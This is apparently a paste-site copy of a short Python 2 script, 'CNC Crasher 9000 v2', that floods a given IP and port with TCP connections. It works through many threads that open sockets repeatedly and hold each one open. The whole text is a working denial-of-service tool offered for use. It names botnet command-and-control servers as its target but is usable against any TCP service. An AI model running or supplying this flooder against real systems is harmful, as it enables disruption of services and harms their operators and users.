SHOW:
|
|
- or go back to the newest paste.
| 1 | #! python !# | |
| 2 | # CNC Crasher 9000 v2 | |
| 3 | # By LiGhT | |
| 4 | ||
| 5 | import socket, os, sys, threading, time | |
| 6 | ||
| 7 | if len(sys.argv) < 4: | |
| 8 | sys.exit("Usage: python "+sys.argv[0]+" <target ip of cnc> <connection port of cnc> <main threads(1-20)>")
| |
| 9 | ||
| 10 | ip = str(sys.argv[1]) | |
| 11 | port = int(sys.argv[2]) | |
| 12 | wthreads = int(sys.argv[3]) | |
| 13 | ||
| 14 | def worker(): | |
| 15 | try: | |
| 16 | while True: | |
| 17 | try: | |
| 18 | lel = fl00d(ip) | |
| 19 | lel.start() | |
| 20 | time.sleep(0.001) | |
| 21 | except: | |
| 22 | pass | |
| 23 | except: | |
| 24 | pass | |
| 25 | ||
| 26 | class fl00d(threading.Thread): | |
| 27 | def __init__ (self, ip): | |
| 28 | threading.Thread.__init__(self) | |
| 29 | self.ip = ip | |
| 30 | def run(self): | |
| 31 | try: | |
| 32 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 33 | sock.connect((self.ip,port)) | |
| 34 | print "\033[37m[\033[32m+\033[37m] \033[32mCONNECTED\033[37m" | |
| 35 | time.sleep(6) | |
| 36 | except: | |
| 37 | print "\033[37m[\033[31m+\033[37m] \033[31mCNC OFFLINE\033[37m" | |
| 38 | pass | |
| 39 | ||
| 40 | for g in xrange(wthreads): | |
| 41 | try: | |
| 42 | yeet = threading.Thread(target=worker) | |
| 43 | yeet.start() | |
| 44 | time.sleep(0.5) | |
| 45 | except: | |
| 46 | pass |